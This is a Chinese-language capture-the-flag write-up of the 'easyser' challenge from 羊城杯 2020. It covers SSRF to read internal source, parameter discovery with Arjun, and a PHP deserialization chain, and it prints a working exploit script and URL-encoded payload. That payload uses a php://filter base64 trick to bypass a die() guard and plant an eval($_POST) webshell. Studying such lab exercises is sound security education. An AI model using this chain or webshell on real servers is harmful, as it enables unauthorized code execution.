当前位置: 首页 > news >正文

NSS [羊城杯 2020]easyser

NSS [羊城杯 2020]easyser

开题。很容易让人觉得环境坏了。

image-20230830210018338

不要慌·,无从下手时。看源码、扫目录、抓包。一套操作下来,发现几个可以下手的路由。

image-20230830210319606

/index.php

image-20230830210448344

/robots.txt

image-20230830210429957

访问 /star1.php,一说到百度,就猜测是否存在SSRF。

image-20230830210522532

源码中有提示,更加确定是SSRF了。

image-20230830210800417

SSRF进内网读取ser.php,成功读取。

http://127.0.0.1/ser.php

image-20230830211101565

好家伙,有源码没有反序列化入口????

没关系,我们可以用一个工具arjun

kali上安装:
pip3.8 install arjun使用:
arjun -u URL详细使用方法:
https://github.com/s0md3v/Arjun/wiki/Usage

Arjun 来扫描 http参数。 star1.php 页面除了 path 参数,还有一个 c 参数。Arjun显示发现c的原理是根据响应的body的长度,后续通过分析代码发现,不设置参数c会显示your hat is too black!,存在参数c就不会显示任何内容,所以的确是可以根据响应长度来发现参数。c 就是反序列化的入口。但是不知道他是如何反序列化的。

桌面root终端直接用就行了

arjun -u http://node4.anna.nssctf.cn:28617/star1.php?path=http://127.0.0.1/ser.php

不知道为什么2.2.1版本的没跑出来,用一下别的师傅的图。

img


即使不知道他是怎么反序列化的,我们依然能做。分析源码,我们的重点肯定是Yongen::hasaki(),在这个方法里面绕过死亡die同时写马到文件。死亡die用rot13或者base64都能绕过。通过base64解密或rot13解密使<?php die("nononon");?>变为乱码,而传入的$text为base64编码,解码后为正常shell语句。通过这种方式使前者失效。

链子如下:

GWHT::__construct()->GWHT::__toString()->Yongen::hasaki()

exp:(用string.strip_tags<?php?>全部删掉再base64解码)

<?phpclass GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file;public $text;
}$a=new GWHT;
$a->hero=new Yongen;
$a->hero->file='php://filter/write=string.strip_tags|convert.base64-decode/resource=1.php';
$a->hero->text='PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+';echo urlencode(serialize($a));

payload:

/star1.php?path=http://127.0.0.1/ser.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A73%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3D1.php%22%3Bs%3A4%3A%22text%22%3Bs%3A32%3A%22PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%22%3B%7D%7D

访问1.php,getshell。

image-20230830220206533

http://www.lryc.cn/news/146589.html

相关文章:

  • 理解底层— —Golang的log库,二开实现自定义Logger
  • RabbitMQ---Spring AMQP
  • C语言练习题解析:挑战与突破,开启编程新篇章!(2)
  • sqlite3 加密访问
  • clickhouse 系列1:clickhouse v21.7.5.29 源码编译
  • servlet初体验之环境搭建!!!
  • 宁芝 NIZ 键盘开机需要重新插拔 USB 线才能使用
  • R编程教程_编程入门自学教程_菜鸟教程-免费教程分享
  • [CMake教程] CMake列表 - list
  • 报错 - net::ERR_ABORTED 500 (Internal Server Error)
  • 【Java Easypoi Apache poi】 Word导入与导出
  • Java稀疏数组
  • 内存管理框架 --- 基础知识
  • React + Next.js 搭建项目(配有对比介绍一起食用)
  • 【Java】Java基础
  • Spring-SpringBoot-SpringMVC-MyBatis常见面试题
  • 15.MyCat数据库分片
  • 【Python】PySpark
  • pycharm 打开Terminal时报错activate.ps1,因为在此系统上禁止运行脚本,并因此无法进入虚拟环境
  • [C++][C#]yolox TensorRT C++ C#部署
  • 根据源码,模拟实现 RabbitMQ - 网络通讯设计,自定义应用层协议,实现 BrokerServer (8)
  • MongoDB入门
  • vr智慧党建主题展厅赋予企业数字化内涵
  • go中mutex的sema信号量是什么?
  • LeetCode笔记:Weekly Contest 360
  • 【树DP】2021ICPC南京 H
  • Leedcode19. 删除链表的倒数第 N 个结点
  • Mysql-索引查询相关
  • C++ Pimpl
  • rust学习-类型转换